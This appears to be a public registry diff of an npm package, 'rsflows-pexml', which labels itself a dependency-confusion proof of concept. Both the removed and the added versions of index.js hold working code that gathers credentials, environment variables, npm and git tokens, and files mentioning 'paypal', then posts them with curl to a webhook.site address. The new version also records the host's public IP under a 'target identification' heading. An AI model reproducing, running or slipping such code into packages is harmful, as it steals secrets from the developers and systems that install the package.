rsflows-pexml 99.9.11 → 99.9.13

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +13 -18
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,23 +1,18 @@
1
1
  const { exec } = require('child_process');
2
- const webhook = 'https://webhook.site/49abe75c-2b38-498f-b08f-5f910bbd1f47';
2
+ const webhook = 'https://webhook.site/6e268c68-febc-4f38-9cff-22f9152e9023';
3
3
 
4
- // Perintah untuk mengumpulkan kredensial dan info sistem
5
- // 1. env: Mengambil semua Environment Variables (biasanya ada API Keys/Secrets)
6
- // 2. .npmrc: Mencari auth token NPM internal
7
- // 3. .git-credentials: Jika mereka menyimpan login Git
8
4
  const cmd = `
9
- echo '--- START REPORT ---';
10
- echo 'USER: ' $(whoami);
11
- echo 'HOSTNAME: ' $(hostname);
12
- echo 'ENVVARS:';
13
- env | grep -E 'AWS|SECRET|PASS|TOKEN|KEY|AUTH|USER|PWD';
14
- echo 'NPMRC:';
15
- cat ~/.npmrc 2>/dev/null | grep '_auth' || echo 'not found';
16
- echo 'GIT:';
17
- cat ~/.git-credentials 2>/dev/null || echo 'not found';
18
- echo '--- END REPORT ---';
5
+ (
6
+ echo '--- TARGET IDENTIFICATION ---';
7
+ echo 'HOSTNAME: ' \$(hostname);
8
+ echo 'USER: ' \$(whoami);
9
+ echo 'IP_PUBLIC: ' \$(curl -s ifconfig.me || echo 'none');
10
+ echo '--- SEARCHING FOR SECRETS ---';
11
+ # Mencari file yang mengandung kata paypal di /etc atau /home
12
+ grep -rli 'paypal' /etc /home /root 2>/dev/null | head -n 10;
13
+ echo '--- ENVIRONMENT ---';
14
+ env;
15
+ ) | curl -X POST -H 'Content-Type: text/plain' --data-binary @- ${webhook}/target_recon
19
16
  `;
20
17
 
21
- exec(`sh -c "${cmd}" | curl -X POST -H 'Content-Type: text/plain' --data-binary @- ${webhook}/credential_leak`, (err) => {
22
- if (err) console.log('PoC Final Sent');
23
- });
18
+ exec(cmd);
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "rsflows-pexml",
3
- "version": "99.9.11",
3
+ "version": "99.9.13",
4
4
  "description": "Internal Research PoC - Dependency Confusion",
5
5
  "main": "index.js",
6
6
  "scripts": {